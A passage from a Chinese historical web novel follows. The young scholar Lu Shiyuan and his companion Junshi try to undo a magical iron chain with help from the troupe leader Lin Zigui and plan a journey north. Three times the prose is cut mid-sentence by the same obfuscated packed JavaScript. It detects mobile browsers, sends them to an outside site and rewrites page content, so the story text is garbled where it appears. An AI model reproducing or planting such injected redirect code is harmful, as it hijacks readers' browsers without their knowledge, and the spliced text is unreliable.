末了,他望着二人,白须颤动:“待二位杏苑及第之时,别忘了着书一封,告知扬州观琼书院徐茂晖。” 言毕,徐山长躬身行了个礼,随后转身离去,苍老枯槁的身影隐在了卷帙浩繁的厅房中。 ------------------------------------- 回到陆园,仕渊四下踱步,心中五味杂陈。 他既怕大伯知道自己打了人,又担心于勉是否真的在四处嚼舌根。 好事不出门,坏事传千里。他恨不得敲锣打鼓,走街串巷地告知街坊邻里:我陆秋帆绑了家中伴读只是无心之举!我俩没有安陵之好,全是那邪门铁索惹的祸!于勉挨打也是他欺人在先! 但扪心自问,他自己也有错。错在二十多岁了一事无成,错在总是令在乎他的人寒心——大伯如此、徐山长如此、君实亦是如此。 若是明日林子规解开了锁链则皆大欢喜,倘若解不开该当如何?难道真要跟一个戏子北上找人?要怎么捎上秦大人?一行人要如何通关,又要如何找那道士?若是连那道士也解不开锁链又当如何? 仕渊越想越没底,顿时觉得大伯了结此事的方法虽然粗暴,但确实省去了诸多麻烦。况且君实似乎还挺宝贝那张地契的…… 不知不觉间,他散步到了前院莲湖旁,不远处的老太君正带着他七岁的侄女喂鱼。 老太君看见仕渊,便让小侄女将他喊来,在他手里放了把鱼食,道:“你看你,差点儿就走到湖里了!” 仕渊行礼,叹了口气后蹲坐在老太君身边,魂不守舍地丢着鱼食。 “小叔叔这是怎么了?”小侄女揪了揪仕渊衣角。 他一时不知如何应答,反被老太君抢了话头:“全府上下都知道,你小叔叔的好朋友要被送走了,他舍不得,正难过呢!” “那就想办法把那个朋友留住呗,这有什么难的……”小侄女努了努嘴。 老太君喂着鱼,旁若无人道:“是啊,就是这么简单的事儿,瞧把你小叔叔愁得!” 仕渊苦笑着摸了摸侄女的头:“若是明日运气好,着实简单,若是运气不好,怕是要出远门咯……江湖那么大,小叔也害怕!” “吁,别听你小叔叔乱说!”老太君笑得慈祥,话里却带着刺,“两年前,就在这湖边,你小叔叔还同我说他想在外闯荡一番才能问心无愧。如今让他出个远门就怕了,羞不羞?” 仕渊当然记得,这是两年前他在冠礼上说过的话。 那一日,他跪叩了祠堂所有牌位,甫一出来,又脑门淤青地答谢了百来号贵宾。等去到酒席时,尚书公父亲身边早已围满了人,根本没他的容身之地,只得凑到老太君身边坐下。 见小孙子一脸落寞,老太君拿拐杖杵了杵他,道:“一座城有一座城的乐趣,每个人有每个人的活法。放心,你爹出了城,什么都忘得一干二净!” 老太君没有牙,抿着嘴说的几个字还带着扬州腔,让仕渊反应了片刻才听懂。 “孙儿明白。”他回道,“孙儿只是不爱看这帮人的嘴脸,怕今后后也要那般过活,一眼便能望到边!” 老太君笑出了满脸褶子:“小娃娃,都还没出海呢,就见惯了风浪?” “孙儿并非见惯了风浪。只是这日子千篇一律,但孙儿又不愿随波逐流,想闯荡一番,看看这大江大河、世间百态,才能问心无愧。” “那便得看你本事了。你若是能乘风破浪,就不必随波逐流。” 那日老太君的话仕渊铭记于心。可两年了,他依然在这金丝笼里,闯出去的意志早被消磨殆尽。 如今老太君旧事重提,他满脸羞赧,暗自赞叹她老人家记性真不错。 小侄女听罢,望向仕渊,认真道:“爷爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14703236|157046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说他十七岁就开始跑江湖了,全靠一个好汉三个帮。小叔叔你读了那么多书、认识那么多人,还长得俊,有甚可怕的?” 仕渊哭笑不得。哭是因为自己不像三叔那般有武功傍身,笑是因为头一次被小女娃夸长得俊。 他将小侄女揽过来放在腿上,故作可怜道:“可是你大伯公不让我出门呀,怎么办?” 小侄女敲着小脑袋瓜想了一会儿,道:“我之前想去看新建的宝佑城,我娘也不让我去。我知道她一是怕我走丢,二是想让我在家好好练字。所以我就把半个月的字全写了,然后去求爹爹和爷爷,最后爷爷带我去了。所以大伯公不让你出远门,你去求求我爷爷或者二伯公试试?” “咱们芸儿真聪明,这么小就懂得投其所好、通权达变啦?” 老太君揪了揪小侄女的鼻头儿,“可惜你爷爷怕是不得空喽!昨日朝廷突然又下达了一桩往北边儿去的漕务,草台班子都搭起来了,正四处点卯呢。你小叔叔只能去求你二伯公喽!” 老太君这番话乍一听让人云里雾里,但仕渊仔细一琢磨,恍然大悟。 “草台班子点卯”是指扬州北上的漕务搁置多年,如今匆忙再立,正逢选调人手之际。 负责征漕的转运使多半是大伯熟人,负责运漕的,大到发运司各职,小到一路上的漕工、纲梢、镖师等,必然由三叔的沧望堂包办。而他自己的亲爹任职吏部尚书,出行官员的举荐、贴黄、官凭皆是分内之事。 换言之,若明日林子规亦无能为力,他大可动用家族关系,借这次的漕运走水路通关至北方,随那“丽妃”去寻金蟾子。 老太太虽足不出户,却早替仕渊想好后路了! 然而柳暗花明间,于勉的讥讽又刺进了仕渊的脑海。 他低垂着头,小声道:“可是我已经三番五次地给家里添乱了,怎敢再兴师动众劳烦那么多人……” 老太君当然知道仕渊在顾虑什么。她扔了把鱼食,见一条锦鲤游了过去却没与群鱼争抢,便又放了几粒鱼食在它面前。而那锦鲤只是碰了一下,依旧没吃。 “你这小鱼儿……”老太君数落道,“不争不抢算你本分,拱手放你眼前的还不吃,那叫傻!” 这话是说给仕渊听的,意思是默许了他利用家中人脉。 “多谢阿婆提点!” 仕渊方才还自怨自艾,现下豁然开朗。他亲了亲小侄女脸蛋,大步流星地回了杏苑及第。 见小叔叔离去,芸儿摸着脸蛋,指着那条锦鲤问:“太婆婆,它是病了么?” “怎会?分明是吃饱了撑得!”老太君笑道,“咱们喂完这顿,且饿它几天试试……” ------------------------------------- 至次日,君实一大早便去找仕渊,进门后见书房堆了一地的废纸,仕渊则趴在书桌上睡得正酣。 昨晚,这位小少爷遣走了一众下人,独自闷在屋里。书房的灯亮了一夜,还伴着各种长吁短叹、无病呻吟。 众人昨晚还纳闷少爷这是怎么了?看现在这架势,竟是写了一夜的文章。 君实好奇他一晚上究竟憋出了什么奇文,打算品读一番,可刚走两步,身上的锁链叮当作响。 仕渊蓦地被吵醒,睡眼惺忪地望着君实,道:“时辰已到,该上路了……” 君实被瘆了一下才反应过来,他指得是该去找林班主了。 一通梳洗后,二人直奔茱萸湾。 ------------------------------------- 【1】宋·朱熹《白鹿洞书院揭示》。陆秋帆所说三条《观琼书院揭示》皆来源于此。 11. 机关精妙真如神,解铃还须系铃人(上) 三日不见,林子规的双目愈加深邃,舱房内也是愈发站不下个人。看来这大戏收官没少忙活,还要操心锁链之事。 君实深感愧疚,一阵赔礼道谢寒暄后,林子规拍了拍他道:“小兄弟不必多礼。鄙人这里有好消息,也有坏消息。” 二人心都提到了嗓子眼儿里,但听林子规大喘一口气,道:“好消息就是,小兄弟这身上的锁链完全可解,且有三种解法!” 仕渊与君实相视而乐:“林兄不妨一一道来。” 林子规思索着道:“贤弟上次说这锁链刀斧劈不断,铁水熔不开,连王水都毫无用武之地,定不是寻常材质。鄙人查阅了不少书籍,这般软硬、色泽、纹理,只怕多半来自陨铁。而陨铁之流,非高炉百炼不得破,所以这第一解,便是从君实兄弟这边着手。” 仕渊还道是什么高深之法,便打趣道:“你说的该不是让君实去练甚么缩骨功吧?” 林子规摇头道:“自然不是,缩骨需要童子功,岂是一朝一夕就能练成的。我这第一解倒也简单,一炷香功夫便能将锁链取下。” “小兄弟读书人,平日不需靠体力和手艺吃饭,是也不是?”他转而面对君实,漆黑的眼珠似乎闪过一丝阴鸷。 “所以,只需卸掉这只左手,即可取下这锁链!贤弟若是见不得血光,鄙人愿为代劳。” 他不顾二人一脸惊诧,指了指墙上挂的木锯,还伸手在君实肩头比划了两下:“喏,就从这里截。” 仕渊一时间听不出林子规是在开玩笑还是认真的。他瞥了眼君实,见其双唇紧闭,竟真的在考虑,于是赶忙将他护在了身后,干笑道:“哈哈哈林兄这玩笑开得,真是措手不及啊!这第二种解法呢?” “至于这第二解嘛……” 林子规亮出了他的小铁锤,“前几日二位走后,鄙人借鉴了所藏机关图谱,又反复画图猜想,心里大概有了点眉目。可否请君实小弟再让我查验下这锁链的玄机?” 君实略有戒备,却还是近身前来。仕渊为其褪去大氅,毕恭毕敬地比了个‘请’的手势,林子规便将耳朵凑在了君实腰间。 他一指掂起那攥得死死的锁柄,另一手拿用小锤四周敲打,双眼紧闭,听得入神,仕渊便也欠身跟着一起听。 突然间,林子规仿佛探到宝贝了一般,睁眼道:“你们听到了没!” 仕渊也跟着大喜,连连点头:“听到啦!听到啦!” “听到了甚么?” “听到了‘叮——嘤嘤——’!” 仕渊魔音贯耳,林子规耳朵刺挠地直起身来,当即翻了个白眼,觉得自己是在对牛弹琴。 “方才许你开玩笑,就不许我回敬你吗?”仕渊窃笑着拍了拍林子规肩膀,“我耳力自是没林兄的好,只听到你方才敲左柄时,其音色沉闷且伴有紧密的回音。而敲击右柄时声音清脆,但伴有碰撞似的杂音,似乎是……有个夹层,里面还包着个小珠?” “然也!”林子规激动道,“贤弟有所不知,此物实乃奇思,奇思啊!这机关着实精妙,鄙人这就为二位细说其中玄机!” 说罢,他在小桌上备好纸笔,在左边画了锁链‘神荼’那一端的柄,柄内一半中空,一半内置机关,由一小孔连接。机关处内藏夹层,夹层左宽右窄。 “此左柄为锁筒,内嵌有一覆盆状的带孔之瓮。”他边画边道,“瓮内暗藏盘龙扣同钢珠。” 说话间,他在瓮中宽处涂了一串折线表示盘龙扣,在那窄口处点了几个圆圈以作钢珠。 “盘龙扣宁直不屈,若非外物介入,则会一直抵着钢珠。” 紧接着,他又在右侧画了一个长方,道:“此右柄为锁栓,即‘郁垒’那一端。” 他笔锋一横,在其间添了根细长的尖物:“此右柄中暗藏钢针。一旦被套入左柄,钢针毕现,进孔入瓮插入盘龙扣的同时,钢珠滚入钢针的凹槽处,将其卡死。因左柄之瓮里宽外窄,又有盘龙扣顶着,所以你越是用力拔,那钢珠反而将那钢针锁得越紧。” 言毕,林子规将右手食指放入左手紧紧攥起,饶是二人仍然不开窍,也大致明白了他甚么意思。 君实一怔,赞叹林班主巧思的同时,心中甚是不安:“那……岂非全无破解之法?” “非也!”林子规浅笑道,“鄙人曾说过,不管这锁匠如何鬼斧神工,造完锁也免不了查验一番。” “锁匙!”仕渊一拍大腿,面向君实道,“锁筒锁栓都有了,还差锁匙啊!” 君实却有些失落:“且不论这锁匙在何处,这两只柄扣得严丝合缝,哪里有地方插锁匙……” 林子规没有答话,只是故作高深一笑,转身走到船舱一侧的柜子前。 柜门大开,里面满满当当地堆了几十具折扇高的白骨,正是那夜骷髅幻戏中自行走动的傀儡,被林子规一身玄黑衣袍衬得颇为阴森。 林子规拿起一具骷髅,从其脚下抠出了一块黑石抛给仕渊,道:“这便是你们要的锁匙。” 仕渊大喜,接住黑石掂了掂,不料黑石便‘铛’地一声飞向了一旁的小铁锤。 “是磁石!”他恍然大悟。 “不错,正是磁石。”林子规上前道,“鄙人把这骷髅幻戏的看家秘宝拿出来了,二位切莫同外人道破天机,给我林家班这几十人留口饭吃。这破解之法倒也简单,只需用这磁石从锁筒另一头将盘龙扣吸上来,钢珠在那小瓮的宽处便有了周转的余地,钢针锁栓自然就能拔出来。” 闻言,仕渊趴在君实跟前,连大气都不敢喘一声,拿着磁石靠向了锁筒,果然在离锁筒只有一指之隔时,磁石自行吸附到顶端。 仕渊立刻去拔另一头,而那锁栓虽略有松动,却依然被咬得死死的。他仍不死心,接连尝试了多次,依然无果。 末了,他生无可恋地望向林子规,质问道:“怎地不行?不是说这磁石便是锁匙吗?不如换你试试?” “只怕换谁都是一样的结果。”林子规波澜不惊地耸耸肩,似是早有预料,“破解之法我猜对了,只是这破解之物不对。能工巧匠既然费尽心思造了这把锁,自然不能让随随便便一块磁石都能打开它——这便是鄙人要告诉你们的坏消息。” 即便深知林班主已倾其所能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14703237|157046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮了不少忙,但君实仍大失所望,喟然长叹。 良久,他缓过神来,问道:“那这第三解该当何如?” “自然是追本溯源,顺藤摸瓜。”林子规答道,“找到金蟾子,撬开他的口。让他知无不言、言无不尽!” 见仕渊二人沉默不言,他又补了一句:“这个金蟾子无甚所长,但毕竟先后师承金丹派、全真龙门派。要说炼化金石,几乎无人能出其右,或许能生生‘配’出个锁匙也说不定。” “金丹派?”仕渊接道,“林兄怎地不早说?我们直接南下武夷,找那白玉蟾问一问不就行了!” “无用。”林子规笑着摇了摇头,“一者,紫清先生已仙逝十余年,如今宗派由鹤林先生主持。二来,那金蟾子早年因私炼伪金兜售,被紫清先生踢出门,所以才北上转投了龙门派。但据我所知,龙门派也不承认他,原因不清楚,想来全真道不崇符箓、不事黄白,断然容不得一整日修金合药之人。总之,此人行踪恐怕不为任何门派所掌握。” 末了,林子规向二人行了个礼,一副要送客的样子:“请恕林某人无能,未能于此时此地将锁链解开。小兄弟怕是还要多忍耐一些时日,鄙人只能恭祝二位早日化解此劫。” 君实见状,鞠躬回道:“今日多亏了班主指点迷津,虽未能——” “虽未能如愿,但还可以帮兄弟一个小忙!”仕渊出言打断,“也不枉兄弟当年为你引荐贵人,重建林家班!” 林子规目光深邃,颇为警惕,嘴上却笑得爽朗:“那是自然,鄙人一介戏子能有今日,多亏贤弟指点。” “也不需要你拿真金白银酬谢我,我所托之事倒也不难。” 仕渊从怀中摸出了一封书信递给林子规,道:“你既然马上就要启程明州,途径临安时,不妨替我将这家书送至我爹那儿。越快越好,我有燃眉之急!” “哈!鄙人还道贤弟又要如何为难,原来是要我当个飞毛腿啊!”林子规长舒一口气接过家书,“不瞒你说,鄙人这戏船好歹是战船改造而来。虽然住得不甚舒适,但胜在跑得快。这信我明日一早便给你送到!” “好,林兄这般爽快,那就有劳了!” “事不宜迟,鄙人中午便出发,就不多留二位了!”林子规行了个礼后便将二人送出了舱房。 原来仕渊憋了一整夜的大作竟只是封家书。 君实被捆了五日,也奔波了五日,眼下身心俱疲,根本没有心情过问那书信的事。仕渊倒是跟没事儿人一样,跑到戏台一侧,跟林家班众人寒暄了几句后,带着君实来到戏船空旷的甲板上。他双手背在脑后,眺望着茱萸湾的风景,感受着这风和日暖。 良久,他似是想起了什么,问道:“最近我朝有打过大型水战吗?有如黄州之战的那种?” “自寿春之战截退蒙军以来,不曾有过。”君实道。 “十多年前的事儿了……这两战都是外公挂帅,我朝舟师什么样我又不是没见过……贾家也没这能耐和胆量……” 仕渊嗫嚅着,忽地满脸惊诧:“他区区林子规,上哪儿弄的战船啊!” 12. 机关精妙真如神,解铃还须系铃人(下) 君实自然是回答不了他这问题,只低声反问:“少爷以为林班主此人,何如?” 仕渊环抱手臂,思忖道:“我初见林子规时,他虽籍籍无名,但我敬其桑弧之志,一表人才,羡其行走江湖,来去自如,便与他称兄道弟,一直真心以待。但时隔多年再见,却觉此人城府渐深,不似以前那般光明磊落,还学会了虚与委蛇。” “何以见得?” “很难说清,就是有种渐行渐远的感觉。他明明一口一个‘贤弟’地叫着我,却还要阴阳怪气地谦称自己‘鄙人’……” 仕渊摇了摇头,“你别看他一介戏子,但认识的江湖能人多了去了。不求他受人所托忠人之事,但也不用这么急着送客吧?嘴上说是要倾囊相助,不过就翻了两晚上的书而已,哪里是真心救你?不过是好奇尚异,想验证自己的才学罢了!” 君实垂首,叹了口气道:“算了。施恩勿念,莫道他人长短。” “是你问我此人何如的!” 仕渊见他张口又是圣人言,急道,“这人方才可是差点儿要卸了你的胳膊!逞个口舌之快都不行?” 君实不语,行至船头凝视远方,背对着仕渊,不知是何表情。 “少爷……”沉默良久,他道,“这几日让大家费尽心神,求了不少人,少爷也为我得罪了不少人,还被坊间传闻坏了清誉。此事到此为止吧,君实自有决断。” 仕渊早就看不惯他总是隐忍退让的模样,一股火自丹田上蹿:“都什么时候了,你还在跟我说这些违心的客套话!” 他掰过君实的肩膀,见其眼眶湿红,不禁周身一震,又道:“你如实告诉我,你心里到底怎么想的?什么叫‘自有决断’?” 君实仍是垂目不言,奈何仕渊逼问得紧,只冷冷道:“眼下秋赋在即,若是那道士没有再访坤珑阁,我回镇江自行断了这条手臂!” “君实你是傻子吗?林子规那厮方才不过试探试探我们!走江湖的耍耍狠就罢了,你何苦自伤?” 仕渊声色凌厉中又带着些许恳求,“得罪几个不值一提的人有什么可怕?坊间的风言风语又能奈我何?伤残者不得进试,那秋赋每三年便有一次,你才十九,急甚!” “林班主所说不无道理。”君实道,“你恼他不够光明磊落,但他有他的身不由己,我也有我的言不由衷,不是所有人生来都能如你这般随心所欲。三年对你来说不过弹指一挥,悠哉游哉就过了,但对很多人来说,逆天改命足矣!” 君实虽然言辞中肯,却振聋发聩,一字一字如钉子般敲在仕渊心上,让一贯巧舌如簧的他无言以对。但他眼下只想赶紧悬崖勒马,让君实清醒点、雕悍点,莫问前程地赌一把! 仕渊克制住情绪,苦思了良久,方问:“君实,你还记得我们初见时说的第一句话吗?” 君实不知他缘何问起,又听他继续道:“你为我献了一盏茶,说‘黄口不识淮扬盛,千里江山盏中窥’。你记得我回了句什么吗?” “若得知己三两个,策马河东走一回。”君实脱口而出。 “还好你记得。” 仕渊欣慰一笑,拍了拍君实手臂,“我可不想和缺胳膊少腿的人策马天下!堂堂七尺男儿,怎能守株待兔,等那道士自己找上门来?天下如此之大,我们不过去北方找个人嘛,有何难?况且我们也不是无头苍蝇。” 说罢,他蓦地回头望向船舱之上,但见那船楼飞檐处有道身影一闪而过,消失在了拐角处。 仕渊冲那方向挥了挥手,朗声道:“别躲啦!我都看见你啦!” 片刻间,自那楼阁后走出了个月白色的倩影,正是前日清晨找上二人的“丽妃”。 她未着鞋靴,脚底一点屋檐,轻飘飘地落在了二人眼前,罗袜生尘,脚上一对金环光彩夺目。 她怯怯地遮了遮赤足,道:“你怎知我在上面?” “我方才问了你们戏班子的人,他们说你向来不过早。我又来甲板上找,见空无一人,便猜测你这‘飞仙’八成又在做梁上君子了!” 仕渊笑得春风得意,仿佛扑到了蝴蝶的小男娃,哪还有先前焦急的模样? “谁做梁上君子了?我不过是清晨打坐,例行功课罢了。”“飞仙”闪烁其词道,“还有,我不过肉胎凡身,称我‘燕娘’便可。陆公子找我,可是二位想清楚了?” “我想清楚了,只是我这位兄弟还没想清楚。”仕渊看了眼一脸茫然的君实,“不知燕娘之前的承诺是否还算数?” 燕娘道:“那是自然,我从不食言,定会将二位安然无恙地带到金蟾子面前。只是公子别忘了我开出的筹码。” “姑娘放心,我今日下午便去找沧望堂陆堂主商讨。至于秦大人,我已着家书一封,由贵班主送至临安吏部尚书第,请尚书公做调遣。至于他答不答应嘛……” 仕渊挠了挠头,越说越没底气。 “还望公子多费些心思。”燕娘坚持道,“此次北上秦大人必须在,非他人不可。不过沧望堂有能耐的都走光了,要他们何用?” 仕渊眯起眼睛,略有不悦:“秦大人能不能去,几日后自有分晓。姑娘消息灵通,怕是这几日没少打听。但江湖事归江湖事,朝堂事归朝堂事,能在两边都插上一脚的,沧望堂算一个,并非全无用处。 “如今我朝与北地战事吃紧,南下的人是多数,北上的却寥寥无几,我们几个闲散人北上通关免不了一通盘查。旁人倒也罢,可以我的家世来说,官道是万万走不了的。走野路的话,翻山越岭、风餐露宿且不说,怕是金蟾子没见着,倒先被山贼土匪吃干抹净了。” 他笑了笑,两手一背,“但姑娘别忘了,我们可是在扬州啊!放着运河水路不走,走那暴土扬尘的官道作甚?” “水路行不通。” 君实断言道,“海州一带由李璮把持,我朝与其在楚州僵持已久,运河邳州段早就设了禁,不放行私船,另一边更是有红袄军重兵把守。我老家的情况我清楚,君实个人事小,我们……还是莫要走水路去给大局添乱了。” “这点我自然知道。我也不想累及家人,所以之前一直犹豫不决。但好在天官垂怜,我们否极泰来了!” 仕渊桃花眼眯成了月牙状,“民众的私船不予放行,那官府的漕船也不放行吗?” 君实一脸愕然:“你是说……” “不错,三叔又要出船了!”仕渊喜道,“而且这次是从扬州出漕,往山东益都府去。” “漕运?”君实不敢置信,“送到益都贼军那里?” 他以为自己听错了,却不见仕渊有丝毫反驳,便暗自思量。 去年,蒙人灭了大理,生擒国王,如今又列兵于西南门户,其心昭然若揭。 若川蜀沦陷,蒙人便可进取襄阳。 孟忠襄故去,襄阳已非昔日的铜墙铁壁,到时大势将去,江山基业不再,一片生灵涂炭! 川蜀之地该如何保? 必是分其兵力,避其锐气,攻其不备,扰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14703238|157046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其后方。 谁掌有蒙军兵力、又在其后方? 汉人三世侯——蔡国公张柔、真定史天泽,以及益都李璮! 与谁合谋? 张柔屡次攻宋,与我朝对峙二十年未能归附,真定史家战功赫赫,且世受蒙廷恩泽。唯山东李氏曾归宋抗金,可以一用。 缘何相助? 李氏民间义军出身,为蒙廷忌惮,若无依附,难以为继。与宋本是同根生,如今虽相恶,其相救也如左右手,当同舟共济、同仇敌忾。 为何相恶? 李家军觊觎海洲、楚州一带已久,多次进犯。 意欲何为? 今日为粮草、为盐田,他日为港岸、为运河! “招安合谋!” 君实顿悟,望着一脸不解的二人道,“朝廷意欲再度招安李璮及其红袄军!他们怕是粮饷告急,我朝正好可以雪中送炭,略施小惠,以便拉拢。” 燕娘听到“红袄军”三字后面露不快,咬牙切齿道:“那帮草寇乌合之众吃硬不吃软,惯会出尔反尔!拉拢他们只会羊入虎口,引狼入室!” “哎哎哎,二位都莫激动!” 见气氛不对,仕渊立刻插言,“我不管君实你如何得此结论,也不管燕娘你跟那李璮有何深仇大恨,总之我们只是借漕务之便偷渡到北方!待上了岸我们便是乡野村夫,只低调赶路,不去招惹任何人、任何势力!听见没?” 君实与燕娘互相看了一眼,一前一后地答道:“那是自然。” “既然说定了,那劳烦姑娘将那匕首还给我罢!”仕渊将手一摊。 燕娘长袖一抚,推诿道:“待见到秦大人并且顺利过关后,我自当奉还。” “好,那小爷我就不再多费口舌了,还有好多事儿等着我办呢。”仕渊收手道,“漕务一般从接到命令后还得征调钱粮什么的,怎么也得大半个月,秦大人那边也需耗些时日。不知在下该如何联络姑娘?” “我自会向班主告假一些时日,留在扬州城。”燕娘淡淡道,“你若有事,便在杏苑及第放只纸鸢,我自会去找你,风雨无碍。” 燕娘好言相告,仕渊却忍不住打了个寒战——乖乖,我今日方知这女子贵姓,她却连我住在哪间房都一清二楚! “那就告辞了!” 说罢,他揽着君实,三步并作两步地下了船。 ------------------------------------- 燕娘立于船首,默不作声。 她望着远处二人嬉笑怒骂、并肩而行的背影,不由得心生艳羡,一时间竟看得出了神。待转身时,身后不声不响地站了个人。 “班主。”她颔首道。 林子规亦望着远处两位书生,面色比那身玄黑衣袍更为阴沉。 良久,他缓缓道:“你去吧,尽量别让那小少爷出了什么岔子,省得姓贾的找我麻烦。” “我与他们有约在先,定会护他二人周全。”燕娘回道。 “不过,你也别忘了我们的约定……” 林子规依旧望着远处,阴恻恻道:“事成之后,拿神荼索来换你师尊的宝物,我会去掉你身上的累赘。届时,你是要回那仙音岛、还是继续留在我林家班,都悉听尊便。” 说话间,他从袖中取出个小药瓶递给燕娘:“化入温水服用即可,能保你两个月无忧。若是取不下神荼索,杀鸡取卵也无妨,做得干净些便好,别给自己找罪受。” 13. 千里家书乘戏船,旌忠座下求平安(上) 仕渊答应大伯的三日之期已到,而铁索依旧在君实身上捆得稳稳当当。 “杏苑及第”毕竟还是大伯说了算,即便出尔反尔也不好将君实藏在那里。但出行在即,若真的将他送回镇江又不好联络。 眼下扬州城一时半会儿还出不了,闲言碎语怕是会越传越出格。思来想去,仕渊便带着君实来到了坤珑阁。 此时未到日中,坤珑阁还没什么生意。四叔陆季堂正在试印着几个刚刻好的雕版,弄得满堂油墨味。 谭掌柜跟见了鬼差似地挡在了楼梯口:“哎呦我的小少爷啊,你这又是唱哪出啊?当家的再问起来我可不好交代啊!” 陆季堂见状,擦了擦手,打量了君实一眼,道:“看来林班主也无能为力啊。所以你顺走我五两银子,究竟干了些什么?” 仕渊哪管谭掌柜的阻拦,拉着君实兀自上了二楼,边走边道:“这铁索的门道我都替你打听好了,今天是来给你入库的!” “入什么库……哎,你等等!”陆季堂赶忙追了上去,“我这儿可没东西再给你糟践了啊!” 仕渊平日里没少来坤珑阁翻翻找找,自然对这里的规矩轻车熟路。 他径直走到书案处,翻开库存簿,抄起一支笔用舌头润了润,边写边道:“神荼索一只,东海小破岛所得,乃上古陨铁所制,匠人年代均不详。其手柄内藏机括,一朝相扣,非磁石锁匙不能解。” 陆季堂任由仕渊胡写,末了将那库存簿抢过来细细一读,面露难色:“那,那这锁链岂不是不成套?这可不好卖了……哦,我是说,要上哪儿去帮君实找锁匙啊?” “所以眼下全仰仗金蟾子那道士知道些什么了!”仕渊白了陆季堂一眼,“人家主动送上门了两趟,你们不想着从他口中套出点有用的来,倒先想着讹人家香火钱。这下倒好,我们得主动去找他了!” “你自己惹的祸,别往我身上推,要找谁自己找去!”陆季堂将仕渊从座位上推了下来,“瞧把你能耐的,起来起来,你录到工笔部了!” 君实看懂了陆季堂的小算盘,心中不免寒凉,却还是承诺道:“四爷您放心,我和少爷绝不会给府上添麻烦。待我解下这锁链,定当连同锁匙一齐奉还坤珑阁。” “喏,四叔,你听到了?”仕渊嬉笑道,“锁链自己都发话了,赶紧入库吧!” “入库?” 陆季堂一脸惊诧,君实则闭目叹息,心中生出一丝不详的预感。 “对啊,你自己收的‘宝物’可得找间屋子好生放着,莫让他人瞧见,也别让它自己跑了。” 仕渊一脸理所当然,朝二楼里间扬了扬下巴,“哎,我看你平时小憩的里屋就不错!那美人榻睡你可惜了,睡这‘锁链’刚刚好!” “那叫罗汉榻!”陆季堂气得直瞪眼。 “行行行,都忘了你是个万年光棍儿,只衬罗汉榻!” 仕渊演上瘾了,自己都笑得前仰后合,“哦对,这‘宝物’还要好吃的好喝的供着,不能让它闲着,更不能让它脏了落灰。放心,不劳四叔亲自费心,我一会儿回府上会找个下人来搭把手!” 君实听得脸上青一阵红一阵,自己一个大活人被仕渊当成物件儿调侃了半天,却硬是生不起气来。 陆季堂哭笑不得,虽然隐约猜中了仕渊找上门的缘由,却没猜中这曲里拐弯的说辞。 他平生最怕麻烦,但仕渊所托之事无非就是让他少睡一阵子午觉而已,便不痛不痒地答应了下来。嘻嘻哈哈间,竟真的将君实带到里屋“入库”了。 安置好君实后,仕渊不再嬉笑,双手握着君实的肩膀,正色道:“君实,你信我么?” 君实被他这么四目相对地一问,怔了一下才道:“君实自然是相信少爷的。” “好,有你这句话就够了。外面的事情交给我来办,你且在这里等我。” 仕渊紧紧捏住君实肩膀,郑重道,“我一定让你坦坦荡荡地秋赋,然后风风光光地回乡!” 君实双肩吃痛僵立在原地,温暖与酸楚一并涌入心弦,嘴角不由地上扬,连连点头。 ------------------------------------- 仕渊离开后没过两个时辰,纯哥儿就大包小裹地来了坤珑阁,负责照顾君实。 纯哥儿是数月前进府的,这两日君实的起居全靠他伺候。 他姓李,山东人,比君实还要小两岁,灰黄的小脸上稚气未脱,身材却精壮得很。虽然性子大大咧咧,吃饭时跟匹饿狼一般,但干起活来事无巨细,任劳任怨还麻利,君实只得佩服书琼姐姐挑人的眼光。 兴许是平时在园内值夜久了太寂寞,纯哥儿在君实面前话格外多。好在君实这几日被藏在坤珑阁,因为怕引人闲话,所以终日足不出户,无聊得紧,便也同他天南海北地瞎聊,自然也将自己被锁链捆住的原委和盘托出。 纯哥儿听罢不可思议:“娘嘞,人家都跟俺似地往南方跑,没见过恁这种金枝玉叶的上赶着去北方的!北方可大了去了,找人岂不是大海捞针?不过,淮河以北就属俺们山东两路道士最多,那‘金蟾子’是哪座山头的恁知道不?崂山泰山昆嵛山?” 他同君实聊久了,也没把对方当外人。君实被他连珠炮似的乡音问得有点懵,反应片刻后笑道:“我不知道,不过有人知道。话说回来,人家践行黄老之术,怎被你说得像山贼?” “海了,恁马上就起锚拔锭咧,连去哪儿都知不道?” 纯哥儿诧道,“山东两路如今十座山有八座都是贼窝,还有两座被鞑子占着。这些年收成不好,谁都不好过——胆儿肥的落草,劫粮劫钱还劫色,胆儿小的投军,但干得还是搜刮钱粮的事儿!俺当时没到参军年龄,不然现在也是个吃官粮的!” 这北方来的少年似乎懂得不少,君实让出了罗汉床的一边让他坐,细细地打听了一番。 